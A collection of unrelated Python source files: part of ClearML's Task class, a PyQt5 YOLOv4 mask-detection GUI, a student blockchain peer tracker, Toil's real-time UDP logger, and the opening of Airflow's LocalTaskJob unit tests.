signal.signal(s, cls.__exit_hook._org_handlers[s])
except Exception:
pass
cls.__exit_hook._org_handlers = {}
return
if cls.__exit_hook is None:
# noinspection PyBroadException
try:
cls.__exit_hook = ExitHooks(exit_callback)
cls.__exit_hook.hook()
except Exception:
cls.__exit_hook = None
else:
cls.__exit_hook.update_callback(exit_callback)
def _remove_at_exit_callbacks(self):
self.__register_at_exit(None, only_remove_signal_and_exception_hooks=True)
atexit.unregister(self.__exit_hook._exit_callback)
self._at_exit_called = True
@classmethod
def __get_task(
cls,
task_id=None, # type: Optional[str]
project_name=None, # type: Optional[str]
task_name=None, # type: Optional[str]
include_archived=True, # type: bool
tags=None, # type: Optional[Sequence[str]]
task_filter=None # type: Optional[dict]
):
# type: (...) -> Task
if task_id:
return cls(private=cls.__create_protection, task_id=task_id, log_to_backend=False)
if project_name:
res = cls._send(
cls._get_default_session(),
projects.GetAllRequest(
name=exact_match_regex(project_name)
)
)
project = get_single_result(entity='project', query=project_name, results=res.response.projects)
else:
project = None
# get default session, before trying to access tasks.Task so that we do not create two sessions.
session = cls._get_default_session()
system_tags = 'system_tags' if hasattr(tasks.Task, 'system_tags') else 'tags'
task_filter = task_filter or {}
if not include_archived:
task_filter['system_tags'] = (task_filter.get('system_tags') or []) + ['-{}'.format(cls.archived_tag)]
if tags:
task_filter['tags'] = (task_filter.get('tags') or []) + list(tags)
res = cls._send(
session,
tasks.GetAllRequest(
project=[project.id] if project else None,
name=exact_match_regex(task_name) if task_name else None,
only_fields=['id', 'name', 'last_update', system_tags],
**task_filter
)
)
res_tasks = res.response.tasks
# if we have more than one result, filter out the 'archived' results
# notice that if we only have one result we do get the archived one as well.
if len(res_tasks) > 1:
filtered_tasks = [t for t in res_tasks if not getattr(t, system_tags, None) or
cls.archived_tag not in getattr(t, system_tags, None)]
# if we did not filter everything (otherwise we have only archived tasks, so we return them)
if filtered_tasks:
res_tasks = filtered_tasks
task = get_single_result(
entity='task',
query={k: v for k, v in dict(
project_name=project_name, task_name=task_name, tags=tags,
include_archived=include_archived, task_filter=task_filter).items() if v},
results=res_tasks, raise_on_error=False)
if not task:
return None
return cls(
private=cls.__create_protection,
task_id=task.id,
log_to_backend=False,
)
@classmethod
def __get_tasks(
cls,
task_ids=None, # type: Optional[Sequence[str]]
project_name=None, # type: Optional[Union[Sequence[str],str]]
task_name=None, # type: Optional[str]
**kwargs # type: Any
):
# type: (...) -> List[Task]
if task_ids:
if isinstance(task_ids, six.string_types):
task_ids = [task_ids]
return [cls(private=cls.__create_protection, task_id=task_id, log_to_backend=False) for task_id in task_ids]
queried_tasks = cls._query_tasks(
project_name=project_name, task_name=task_name, fetch_only_first_page=True, **kwargs
)
if len(queried_tasks) == 500:
LoggerRoot.get_base_logger().warning(
"Too many requests when calling Task.get_tasks()."
" Returning only the first 500 results."
" Use Task.query_tasks() to fetch all task IDs"
)
return [cls(private=cls.__create_protection, task_id=task.id, log_to_backend=False) for task in queried_tasks]
@classmethod
def _query_tasks(cls, task_ids=None, project_name=None, task_name=None, fetch_only_first_page=False, **kwargs):
res = None
if not task_ids:
task_ids = None
elif isinstance(task_ids, six.string_types):
task_ids = [task_ids]
if project_name and isinstance(project_name, str):
project_names = [project_name]
else:
project_names = project_name
project_ids = []
if project_names:
for name in project_names:
res = cls._send(
cls._get_default_session(),
projects.GetAllRequest(
name=exact_match_regex(name)
)
)
project = get_single_result(entity='project', query=name, results=res.response.projects)
if project:
project_ids.append(project.id)
session = cls._get_default_session()
system_tags = 'system_tags' if hasattr(tasks.Task, 'system_tags') else 'tags'
only_fields = ['id', 'name', 'last_update', system_tags]
if kwargs and kwargs.get('only_fields'):
only_fields = list(set(kwargs.pop('only_fields')) | set(only_fields))
# if we have specific page to look for, we should only get the requested one
if not fetch_only_first_page and kwargs and 'page' in kwargs:
fetch_only_first_page = True
ret_tasks = []
page = -1
page_size = 500
while page == -1 or (not fetch_only_first_page and res and len(res.response.tasks) == page_size):
page += 1
# work on a copy and make sure we override all fields with ours
request_kwargs = dict(
id=task_ids,
project=project_ids if project_ids else kwargs.pop("project", None),
name=task_name if task_name else kwargs.pop("name", None),
only_fields=only_fields,
page=page,
page_size=page_size,
)
# make sure we always override with the kwargs (specifically page selection / page_size)
request_kwargs.update(kwargs or {})
res = cls._send(
session,
tasks.GetAllRequest(**request_kwargs),
)
ret_tasks.extend(res.response.tasks)
return ret_tasks
@classmethod
def __get_hash_key(cls, *args):
def normalize(x):
return "<{}>".format(x) if x is not None else ""
return ":".join(map(normalize, args))
@classmethod
def __get_last_used_task_id(cls, default_project_name, default_task_name, default_task_type):
hash_key = cls.__get_hash_key(
cls._get_api_server(), default_project_name, default_task_name, default_task_type)
# check if we have a cached task_id we can reuse
# it must be from within the last 24h and with the same project/name/type
task_sessions = SessionCache.load_dict(str(cls))
task_data = task_sessions.get(hash_key)
if task_data is None:
return None
try:
task_data['type'] = cls.TaskTypes(task_data['type'])
except (ValueError, KeyError):
LoggerRoot.get_base_logger().warning(
"Corrupted session cache entry: {}. "
"Unsupported task type: {}"
"Creating a new task.".format(hash_key, task_data['type']),
)
return None
return task_data
@classmethod
def __update_last_used_task_id(cls, default_project_name, default_task_name, default_task_type, task_id):
hash_key = cls.__get_hash_key(
cls._get_api_server(), default_project_name, default_task_name, default_task_type)
task_id = str(task_id)
# update task session cache
task_sessions = SessionCache.load_dict(str(cls))
last_task_session = {'time': time.time(), 'project': default_project_name, 'name': default_task_name,
'type': default_task_type, 'id': task_id}
# remove stale sessions
for k in list(task_sessions.keys()):
if ((time.time() - task_sessions[k].get('time', 0)) >
60 * 60 * cls.__task_id_reuse_time_window_in_hours):
task_sessions.pop(k)
# update current session
task_sessions[hash_key] = last_task_session
# store
SessionCache.store_dict(str(cls), task_sessions)
@classmethod
def __task_timed_out(cls, task_data):
return \
task_data and \
task_data.get('id') and \
task_data.get('time') and \
(time.time() - task_data.get('time')) > (60 * 60 * cls.__task_id_reuse_time_window_in_hours)
@classmethod
def __get_task_api_obj(cls, task_id, only_fields=None):
if not task_id or cls._offline_mode:
return None
all_tasks = cls._send(
cls._get_default_session(),
tasks.GetAllRequest(id=[task_id], only_fields=only_fields),
).response.tasks
# The task may not exist in environment changes
if not all_tasks:
return None
return all_tasks[0]
@classmethod
def __task_is_relevant(cls, task_data):
"""
Check that a cached task is relevant for reuse.
A task is relevant for reuse if:
1. It is not timed out i.e it was last use in the previous 24 hours.
2. It's name, project and type match the data in the server, so not
to override user changes made by using the UI.
:param task_data: A mapping from 'id', 'name', 'project', 'type' keys
to the task's values, as saved in the cache.
:return: True, if the task is relevant for reuse. False, if not.
"""
if not task_data:
return False
if cls.__task_timed_out(task_data):
return False
task_id = task_data.get('id')
if not task_id:
return False
# noinspection PyBroadException
try:
task = cls.__get_task_api_obj(task_id, ('id', 'name', 'project', 'type'))
except Exception:
task = None
if task is None:
return False
project_name = None
if task.project:
# noinspection PyBroadException
try:
project = cls._send(
cls._get_default_session(),
projects.GetByIdRequest(project=task.project)
).response.project
if project:
project_name = project.name
except Exception:
pass
if task_data.get('type') and \
task_data.get('type') not in (cls.TaskTypes.training, cls.TaskTypes.testing) and \
not Session.check_min_api_version(2.8):
print('WARNING: Changing task type to "{}" : '
'clearml-server does not support task type "{}", '
'please upgrade clearml-server.'.format(cls.TaskTypes.training, task_data['type'].value))
task_data['type'] = cls.TaskTypes.training
compares = (
(task.name, 'name'),
(project_name, 'project'),
(task.type, 'type'),
)
# compare after casting to string to avoid enum instance issues
# remember we might have replaced the api version by now, so enums are different
return all(six.text_type(server_data) == six.text_type(task_data.get(task_data_key))
for server_data, task_data_key in compares)
@classmethod
def __close_timed_out_task(cls, task_data):
if not task_data:
return False
task = cls.__get_task_api_obj(task_data.get('id'), ('id', 'status'))
if task is None:
return False
stopped_statuses = (
str(tasks.TaskStatusEnum.stopped),
str(tasks.TaskStatusEnum.published),
str(tasks.TaskStatusEnum.publishing),
str(tasks.TaskStatusEnum.closed),
str(tasks.TaskStatusEnum.failed),
str(tasks.TaskStatusEnum.completed),
)
if str(task.status) not in stopped_statuses:
cls._send(
cls._get_default_session(),
tasks.StoppedRequest(
task=task.id,
force=True,
status_message="Stopped timed out development task"
),
)
return True
return False
@classmethod
def __add_model_wildcards(cls, auto_connect_frameworks):
if isinstance(auto_connect_frameworks, dict):
for k, v in auto_connect_frameworks.items():
if isinstance(v, str):
v = [v]
if isinstance(v, (list, tuple)):
WeightsFileHandler.model_wildcards[k] = [str(i) for i in v]
def callback(_, model_info):
parents = Framework.get_framework_parents(model_info.framework)
wildcards = []
for parent in parents:
if WeightsFileHandler.model_wildcards.get(parent):
wildcards.extend(WeightsFileHandler.model_wildcards[parent])
if not wildcards:
return model_info
if not matches_any_wildcard(model_info.local_model_path, wildcards):
return None
return model_info
WeightsFileHandler.add_pre_callback(callback)
def __getstate__(self):
# type: () -> dict
return {'main': self.is_main_task(), 'id': self.id, 'offline': self.is_offline()}
def __setstate__(self, state):
if state['main'] and not self.__main_task:
Task.__forked_proc_main_pid = None
Task.__update_master_pid_task(task=state['id'])
if state['offline']:
Task.set_offline(offline_mode=state['offline'])
task = Task.init(
continue_last_task=state['id'],
auto_connect_frameworks={'detect_repository': False}) \
if state['main'] else Task.get_task(task_id=state['id'])
self.__dict__ = task.__dict__
|
MaskDetection.py | import numpy as np
import argparse
import time
import cv2
import os
from PyQt5 import QtWidgets, QtGui, QtCore
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
from PyQt5.QtCore import *
# from MaskDetectionUi import Ui_MainWindow
from b import Ui_MainWindow
import sys
from threading import Thread, Lock
import cv2
import traceback
labelsPath = r'face.names'
weightsPath = r'yolov4_final.weights'
configPath = r'yolov4.cfg'
#顏色設定
class MainWindow(QtWidgets.QMainWindow):
def __init__(self, __Camerastop__:bool = False,
labelsPath:str = r'face.names',
weigthsPath:str = r'yolov4_final.weights',
configPath:str = r'yolov4.cfg',
confidence:float = 0.5,
threshold:float = 0.3,
delete_threshold:float = 0.765,
DynamicUpdateTracking:bool = True,
save:str = 'detect/') -> None:
super(MainWindow, self).__init__()
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
self.ui.choose_file.clicked.connect(self.setFile)
self.ui.start.clicked.connect(self.run)
self.ui.tableWidget.horizontalHeader().resizeSection(0, 100)
self.ui.tableWidget.horizontalHeader().resizeSection(1, 100)
self.ui.tableWidget.horizontalHeader().resizeSection(2, 80)
self.ui.tableWidget.horizontalHeader().resizeSection(3, 80)
self.ui.tableWidget.horizontalHeader().resizeSection(4, 100)
self.ui.tableWidget.horizontalHeader().resizeSection(5, 100)
self.ui.tableWidget.horizontalHeader().resizeSection(6, 300)
# self.ui.start.clicked.connect(self.detect)
self.__Camerastop__ = False
self.__Camera__ = 0
self.cap = None
self.labelsPath = labelsPath
self.weightsPath = weightsPath
self.configPath = configPath
self.confidence = confidence
self.threshold = threshold
self.delete_threshold = delete_threshold
self.DynamicUpdateTracking = DynamicUpdateTracking
self.save = save
self.__PHASH__ = []
self.with_mask = 0
self.without_mask = 0
self.incorrect = 0
self.danger_count = self.without_mask + self.incorrect
self.all_people = self.with_mask + self.danger_count
self.lock = Lock()
# close
self.finish = QAction("Quit", self)
self.finish.triggered.connect(self.__del__)
self.show()
def debug(self, e):
error_class = e.__class__.__name__ #取得錯誤類型
detail = e.args[0] #取得詳細內容
cl, exc, tb = sys.exc_info() #取得Call Stack
lastCallStack = traceback.extract_tb(tb)[-1] #取得Call Stack的最後一筆資料
fileName = lastCallStack[0] #取得發生的檔案名稱
lineNum = lastCallStack[1] #取得發生的行號
funcName = lastCallStack[2] #取得發生的函數名稱
errMsg = "File \"{}\", line {}, in {}: [{}] {}".format(fileName, lineNum, funcName, error_class, detail)
# print(errMsg)
rowPosition = self.ui.tableWidget.rowCount()
self.ui.tableWidget.insertRow(rowPosition)
error = (error_class, detail, cl, lastCallStack, fileName, lineNum, funcName, errMsg)
for i in range(8):
self.ui.tableWidget.setItem(rowPosition, i, QtWidgets.QTableWidgetItem(str(error[i])))
print(errMsg)
def setupNet(self, random_seed:int =42):
self.LABELS = open(self.labelsPath).read().strip().split("\n")
self.net = cv2.dnn.readNetFromDarknet(self.configPath, self.weightsPath)
self._ln = self.net.getLayerNames()
self.ln = [self._ln[i[0] - 1] for i in self.net.getUnconnectedOutLayers()]
np.random.seed(random_seed)
self.COLORS = np.random.randint(0, 255, size=(len(self.LABELS), 3),dtype="uint8")
def setupCamera(self, __video__):
__temp_cap = None
if self.cap is not None: __temp_cap = self.cap
try:
self.__video__ = __video__
self.cap = cv2.VideoCapture(self.__video__)
self.cap.set(cv2.CAP_PROP_FRAME_WIDTH, 800)
self.cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 600)
self.cap.set(cv2.CAP_PROP_FPS, 60)
self.ui.Input_label.setText(f'目前輸入為: {self.__video__}')
ret, image = self.cap.read()
image = cv2.cvtColor(image , cv2.COLOR_RGB2BGR)
image = QImage(image.data, image.shape[1], image.shape[0], QImage.Format_RGB888)
self.ui.imageshow.setPixmap(QPixmap.fromImage(image))
except Exception as e:
self.debug(e)
def updateCamera(self):
while self.cap.isOpened():
if self.__CameraStop__: return
ret, frame = self.cap.read()
if ret == False: continue
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
show_image = QImage(frame.data, frame.shape[1], frame.shape[0], QImage.Format_RGB888)
self.ui.imageshow.setPixmap(QPixmap.fromImage(show_image))
def setFile(self):
filename, _ = QtWidgets.QFileDialog.getOpenFileName(self, 'Single File', QtCore.QDir.rootPath() ,'*.mp4')
self.setupCamera(filename)
@classmethod
def phash(self, image, length:int = 32, width:int =32) -> str:
try:
image = cv2.resize(image, (length, width))
image = cv2.cvtColor(image, cv2.cv2.COLOR_BGR2GRAY)
#左上角區域
dct = cv2.dct(np.float32(image))[0:8, 0:8]
avreage = np.mean((dct))
phash = (dct > avreage) + 0
#轉換為 1行 -> 轉換為list
return ''.join([str(x) for x in phash.reshape(1, -1)[0].tolist()])
except Exception as e:
self.debug(e)
@classmethod
def hamming_distance(self, hash1, hash2) :
_return = 0
for idx1, idx2 in zip(hash1, hash2):
if idx1 != idx2: _return += 1
return _return
def detect(self, *args, **kwargs) -> None:
try:
_all_frame = self.cap.get(cv2.CAP_PROP_FRAME_COUNT) - 1
except:
self.setupCamera(self.__Camera__)
_all_frame = self.cap.get(cv2.CAP_PROP_FRAME_COUNT) - 1
self.ui.progressBar.setMaximum(int(_all_frame))
self.progress_rate = 0
while 1:
self.with_mask = 0; self.without_mask = 0; self.incorrect = 0
if self.__Camerastop__: break
ret, image = self.cap.read()
try: H, W = image.shape[:2]
except Exception as e:
self.debug(e)
#-------------Detect------------#
self.blob = cv2.dnn.blobFromImage(image, 1/255, (416, 416), swapRB=True, crop=False)
self.lock.acquire()
# image scalefactor size mean swapRB crop ddepth
self.net.setInput(self.blob)
_start_timestemp = time.time()
layerOutputs = self.net.forward(self.ln)
boxes = []
confidences = []
classIDs = []
for output in layerOutputs:
for detection in output:
scores = detection[5:]
classID = np.argmax(scores)
confidence = scores[classID]
if confidence > self.confidence:
box = detection[0:4] * np.array([W, H, W, H])
(centerX, centerY, width, height) = box.astype("int")
x = int(centerX - (width / 2))
y = int(centerY - (height / 2))
boxes.append([x, y, int(width), int(height)])
confidences.append(float(confidence))
classIDs.append(classID)
if idxs := cv2.dnn.NMSBoxes(boxes, confidences, self.confidence, self.threshold):
for i in idxs.flatten():
(x, y) = (boxes[i][0], boxes[i][1])
(w, h) = (boxes[i][2], boxes[i][3])
color = [int(c) for c in self.COLORS[classIDs[i]]]
cv2.rectangle(image, (x, y), (x + w, y + h), color, 1)
#human face
_face = image[y:y+h, x:x+w]
# cv2.imwrite(f'{self.__video__}-{len(self.__PHASH__)}.jpg', _face)
text = "{}: {:.4f}".format(self.LABELS[classIDs[i]], confidences[i])
cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 1)
_label = self.LABELS[classIDs[i]]
if _label == 'WithMask' : self.with_mask += 1
elif _label == 'WithoutMask' : self.without_mask += 1
else : self.incorrect += 1
# print("label: ",text, (x, y), (x + w, y + h))
if _phash := self.phash(_face):
_temp_similarity = -1
_tag = 0
for tag, save_phash in enumerate(self.__PHASH__):
_distance = self.hamming_distance(_phash, save_phash)
similarity = 1 - _distance * 1.0 / 64
if similarity > _temp_similarity:
_tag = tag; _temp_similarity = similarity
if (_temp_similarity < self.delete_threshold) or (not self.__PHASH__):
self.__PHASH__.append(_phash)
_name = f'{self.__video__.split("/")[-1].split(".")[0]}-Detect_{len(self.__PHASH__)}.jpg'
self.ui.listWidget.addItem(_name)
# cv2.imwrite(self.save+_name, _face)
_, _file = cv2.imencode('.jpg', _face)
_file.tofile(_name)
elif self.DynamicUpdateTracking:
self.__PHASH__[_tag] = _phash
else : pass
self.danger_count = self.without_mask + self.incorrect
self.all_people = self.with_mask + self.danger_count
if self.danger_count:
# print('[Danger Count] There is {:.2f} % person in a danger situation!'
# .format(1-self.danger_count/self.all_people)*100)
image = cv2.cvtColor(image , cv2.COLOR_RGB2BGR)
image = QImage(image.data, image.shape[1], image.shape[0], QImage.Format_RGB888)
self.ui.imageshow.setPixmap(QPixmap.fromImage(image))
self.ui.all_people.setText(f"目前總人數: {len(self.__PHASH__)}")
self.ui.now_people.setText(f"當前畫面總人數: {self.all_people}")
self.ui.no_mask_rate.setText("未戴口罩比率: {:.2f} %".format((self.danger_count/self.all_people)*100))
else:
self.ui.no_mask_rate.setText('未戴口罩比率: None')
self.ui.progressBar.setValue(self.progress_rate)
self.progress_rate += 1
_time = time.time() - _start_timestemp
fps = 1/_time
_remaining = (_all_frame - self.progress_rate) / fps
remaining_h = _remaining // 3600
remaining_m = _remaining % 3600 // 60
remaining_s = _remaining % 3600 % 60
self.ui.remaining_time.setText(f"預計剩餘時間: {int(remaining_h)} 小時 {int(remaining_m)} 分")
self.ui.FPS.setText(f"FPS: {round(fps, 3)}")
self.ui.FPS_2.setText(f"剩餘張數: {int(_remaining*fps)} / {int(_all_frame)}")
self.lock.release()
def run(self, *args, **kwargs) -> None:
try:
_thread = Thread(target = self.detect)
_thread.start()
except Exception as e:
self.debug(e)
def __del__(self):
self.cap.release()
cv2.destroyAllWindows()
print('kill!')
if __name__ == '__main__':
app = QtWidgets.QApplication([])
window = MainWindow()
window.setupNet()
# window.setupCamera('01.mp4')
sys.exit(app.exec_())
window.__Camerastop__ = True
del window
#ui setup !
# self.imageshow.setStyleSheet("border-color: rgb(85, 85, 127);")
# self.imageshow.setAlignment(Qt.AlignTop)
# self.imageshow.setAlignment(Qt.AlignLeft)
# self.imageshow.setScaledContents(True)
# self.listWidget.setCurrentRow(0)
# self.listWidget.setViewMode(QListView.ListMode)
# self.listWidget.setSpacing(3)
# self.listWidget.setItemAlignment(QtCore.Qt.AlignCenter)
# self.listWidget.setEnabled(True) |
tracker.py | # tracker.py - CS 60 Spring 2021
# Final Project - Gabe Kotsonis, Boxian Wang, George McNulty, Karimi Itani
# May 25th, 2021
#
# This progam creates the class Tracker, which is a server side program using UDP that helps implement the p2p aspect
# of the larger blockchain project. It essentially tracks the peers updates and forwards these updates to other peers.
# import libraries
from socket import *
from threading import Thread, Lock
import json
class Tracker:
# need to know my listening address
def __init__(self, tracker_addr=('babylon1.thayer.dartmouth.edu', 60825)):
# peer list (p2p port for each node)
self.peer_list = []
self.peer_lock = Lock()
# broadcast list
self.conns = []
self.broadcast_lock = Lock()
# listening socket
self.listen_sock = socket(AF_INET, SOCK_STREAM)
self.listen_sock.bind(tracker_addr)
# handle new connections
def start_listening(self):
self.listen_sock.listen()
print("Tracker Started")
while True:
# get new connection
conn, addr = self.listen_sock.accept()
print("New connection accepted")
# add that socket to conns
self.broadcast_lock.acquire()
self.conns.append(conn)
self.broadcast_lock.release()
# kick off new thread to handle that connection
handle_thread = Thread(target=self.handle_conn, args=(conn,))
handle_thread.start()
# thread to handle a connection
def handle_conn(self, conn):
while True:
# receive message
msg = json.loads(conn.recv(1500).decode())
# new connection
if msg['type'] == 'SYN':
print("Received SYN from peer")
# add to peer list
self.peer_lock.acquire()
self.peer_list.append(msg['addr'])
self.peer_lock.release()
# broadcast update
self.broadcast_peer_list()
# stop connection
elif msg['type'] == 'FIN':
print("Received FIN from peer")
# remove peer from peer list
self.peer_lock.acquire()
self.peer_list.remove(msg['addr'])
self.peer_lock.release()
# remove connecton from broadcast list
self.broadcast_lock.acquire()
self.conns.remove(conn)
self.broadcast_lock.release()
# broadcast update
self.broadcast_peer_list()
break
# clean up
conn.shutdown(SHUT_RDWR)
conn.close()
def broadcast_peer_list(self):
# codify peer list
self.peer_lock.acquire()
peer_list = json.dumps(self.peer_list).encode()
self.peer_lock.release()
# broadcast it
self.broadcast_lock.acquire()
for conn in self.conns:
conn.send(peer_list)
self.broadcast_lock.release()
if __name__ == "__main__":
Tracker().start_listening() |
realtimeLogger.py | # Copyright (C) 2015-2016 Regents of the University of California
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Implements a real-time UDP-based logging system that user scripts can use for debugging.
"""
from __future__ import absolute_import
from future import standard_library
standard_library.install_aliases()
from builtins import object
from builtins import super
import os
import os.path
import json
import logging
import logging.handlers
import threading
# Python 3 compatibility imports
from six.moves import socketserver as SocketServer
import toil.lib.bioio
from toil.batchSystems.options import getPublicIP
from future.utils import with_metaclass
log = logging.getLogger(__name__)
class LoggingDatagramHandler(SocketServer.BaseRequestHandler):
"""
Receive logging messages from the jobs and display them on the leader.
Uses bare JSON message encoding.
"""
def handle(self):
"""
Handle a single message. SocketServer takes care of splitting out the messages.
Messages are JSON-encoded logging module records.
"""
# Unpack the data from the request
data, socket = self.request
try:
# Parse it as JSON
message_attrs = json.loads(data.decode('utf-8'))
# Fluff it up into a proper logging record
record = logging.makeLogRecord(message_attrs)
except:
# Complain someone is sending us bad logging data
logging.error("Malformed log message from {}".format(self.client_address[0]))
else:
# Log level filtering should have been done on the remote end. The handle() method
# skips it on this end.
log.handle(record)
class JSONDatagramHandler(logging.handlers.DatagramHandler):
"""
Send logging records over UDP serialized as JSON.
They have to fit in a single UDP datagram, so don't try to log more than 64kb at once.
"""
def makePickle(self, record):
"""
Actually, encode the record as bare JSON instead.
"""
return json.dumps(record.__dict__).encode('utf-8')
class RealtimeLoggerMetaclass(type):
"""
Metaclass for RealtimeLogger that lets you do things like RealtimeLogger.warning(),
RealtimeLogger.info(), etc.
"""
def __getattr__(self, name):
"""
If a real attribute can't be found, try one of the logging methods on the actual logger
object.
"""
return getattr(self.getLogger(), name)
class RealtimeLogger(with_metaclass(RealtimeLoggerMetaclass, object)):
"""
Provides a logger that logs over UDP to the leader. To use in a Toil job, do:
>>> from toil.realtimeLogger import RealtimeLogger
>>> RealtimeLogger.info("This logging message goes straight to the leader")
That's all a user of Toil would need to do. On the leader, Job.Runner.startToil()
automatically starts the UDP server by using an instance of this class as a context manager.
"""
# The names of all environment variables used by this class are prefixed with this string
envPrefix = "TOIL_RT_LOGGING_"
# Avoid duplicating the default level everywhere
defaultLevel = 'INFO'
# State maintained on server and client
lock = threading.RLock()
# Server-side state
# The leader keeps a server and thread
loggingServer = None
serverThread = None
initialized = 0
# Client-side state
logger = None
@classmethod
def _startLeader(cls, batchSystem, level=defaultLevel):
with cls.lock:
if cls.initialized == 0:
cls.initialized += 1
if level:
log.info('Starting real-time logging.')
# Start up the logging server
cls.loggingServer = SocketServer.ThreadingUDPServer(
server_address=('0.0.0.0', 0),
RequestHandlerClass=LoggingDatagramHandler)
# Set up a thread to do all the serving in the background and exit when we do
cls.serverThread = threading.Thread(target=cls.loggingServer.serve_forever)
cls.serverThread.daemon = True
cls.serverThread.start()
# Set options for logging in the environment so they get sent out to jobs
ip = getPublicIP()
port = cls.loggingServer.server_address[1]
def _setEnv(name, value):
name = cls.envPrefix + name
os.environ[name] = value
batchSystem.setEnv(name)
_setEnv('ADDRESS', '%s:%i' % (ip, port))
_setEnv('LEVEL', level)
else:
log.debug('Real-time logging disabled')
else:
if level:
log.warn('Ignoring nested request to start real-time logging')
@classmethod
def _stopLeader(cls):
"""
Stop the server on the leader.
"""
with cls.lock:
assert cls.initialized > 0
cls.initialized -= 1
if cls.initialized == 0:
if cls.loggingServer:
log.info('Stopping real-time logging server.')
cls.loggingServer.shutdown()
cls.loggingServer = None
if cls.serverThread:
log.info('Joining real-time logging server thread.')
cls.serverThread.join()
cls.serverThread = None
for k in list(os.environ.keys()):
if k.startswith(cls.envPrefix):
os.environ.pop(k)
@classmethod
def getLogger(cls):
"""
Get the logger that logs real-time to the leader.
Note that if the returned logger is used on the leader, you will see the message twice,
since it still goes to the normal log handlers, too.
"""
# Only do the setup once, so we don't add a handler every time we log. Use a lock to do
# so safely even if we're being called in different threads. Use double-checked locking
# to reduce the overhead introduced by the lock.
if cls.logger is None:
with cls.lock:
if cls.logger is None:
cls.logger = logging.getLogger('toil-rt')
try:
level = os.environ[cls.envPrefix + 'LEVEL']
except KeyError:
# There is no server running on the leader, so suppress most log messages
# and skip the UDP stuff.
cls.logger.setLevel(logging.CRITICAL)
else:
# Adopt the logging level set on the leader.
toil.lib.bioio.setLogLevel(level, cls.logger)
try:
address = os.environ[cls.envPrefix + 'ADDRESS']
except KeyError:
pass
else:
# We know where to send messages to, so send them.
host, port = address.split(':')
cls.logger.addHandler(JSONDatagramHandler(host, int(port)))
return cls.logger
def __init__(self, batchSystem, level=defaultLevel):
"""
A context manager that starts up the UDP server.
Should only be invoked on the leader. Python logging should have already been configured.
This method takes an optional log level, as a string level name, from the set supported
by bioio. If the level is None, False or the empty string, real-time logging will be
disabled, i.e. no UDP server will be started on the leader and log messages will be
suppressed on the workers. Note that this is different from passing level='OFF',
which is equivalent to level='CRITICAL' and does not disable the server.
"""
super().__init__()
self.__level = level
self.__batchSystem = batchSystem
def __enter__(self):
RealtimeLogger._startLeader(self.__batchSystem, level=self.__level)
# noinspection PyUnusedLocal
def __exit__(self, exc_type, exc_val, exc_tb):
RealtimeLogger._stopLeader()
|
test_local_task_job.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
import multiprocessing
import os
import time
import unittest
import uuid
from unittest import mock
import pytest
from mock import patch
from airflow import settings
from airflow.exceptions import AirflowException
from airflow.executors.sequential_executor import SequentialExecutor
from airflow.jobs.local_task_job import LocalTaskJob
from airflow.models.dag import DAG
from airflow.models.dagbag import DagBag
from airflow.models.taskinstance import TaskInstance
from airflow.operators.dummy_operator import DummyOperator
from airflow.operators.python import PythonOperator
from airflow.utils import timezone
from airflow.utils.net import get_hostname
from airflow.utils.session import create_session
from airflow.utils.state import State
from airflow.utils.timeout import timeout
from tests.test_utils.asserts import assert_queries_count
from tests.test_utils.db import clear_db_jobs, clear_db_runs
from tests.test_utils.mock_executor import MockExecutor
DEFAULT_DATE = timezone.datetime(2016, 1, 1)
TEST_DAG_FOLDER = os.environ['AIRFLOW__CORE__DAGS_FOLDER']
class TestLocalTaskJob(unittest.TestCase):
def setUp(self):
clear_db_jobs()
clear_db_runs()
patcher = patch('airflow.jobs.base_job.sleep')
self.addCleanup(patcher.stop)
self.mock_base_job_sleep = patcher.start()
def tearDown(self) -> None:
clear_db_jobs()
clear_db_runs()
def test_localtaskjob_essential_attr(self):
"""
Check whether essential attributes
of LocalTaskJob can be assigned with
proper values without intervention
"""
dag = DAG(
'test_localtaskjob_essential_attr',
start_date=DEFAULT_DATE,
default_args={'owner': 'owner1'})
with dag:
op1 = DummyOperator(task_id='op1')
dag.clear()
dr = dag.create_dagrun(run_id="test",
state=State.SUCCESS,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE)
ti = dr.get_task_instance(task_id=op1.task_id)
job1 = LocalTaskJob(task_instance=ti,
ignore_ti_state=True,
executor=SequentialExecutor())
essential_attr = ["dag_id", "job_type", "start_date", "hostname"]
check_result_1 = [hasattr(job1, attr) for attr in essential_attr]
self.assertTrue(all(check_result_1))
check_result_2 = [getattr(job1, attr) is not None for attr in essential_attr]
self.assertTrue(all(check_result_2))
@patch('os.getpid')
def test_localtaskjob_heartbeat(self, mock_pid):
session = settings.Session()
dag = DAG(
'test_localtaskjob_heartbeat',
start_date=DEFAULT_DATE,
default_args={'owner': 'owner1'})
with dag:
op1 = DummyOperator(task_id='op1')
dag.clear()
dr = dag.create_dagrun(run_id="test",
state=State.SUCCESS,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = dr.get_task_instance(task_id=op1.task_id, session=session)
ti.state = State.RUNNING
ti.hostname = "blablabla"
session.commit()
job1 = LocalTaskJob(task_instance=ti,
ignore_ti_state=True,
executor=SequentialExecutor())
self.assertRaises(AirflowException, job1.heartbeat_callback)
mock_pid.return_value = 1
ti.state = State.RUNNING
ti.hostname = get_hostname()
ti.pid = 1
session.merge(ti)
session.commit()
job1.heartbeat_callback(session=None)
mock_pid.return_value = 2
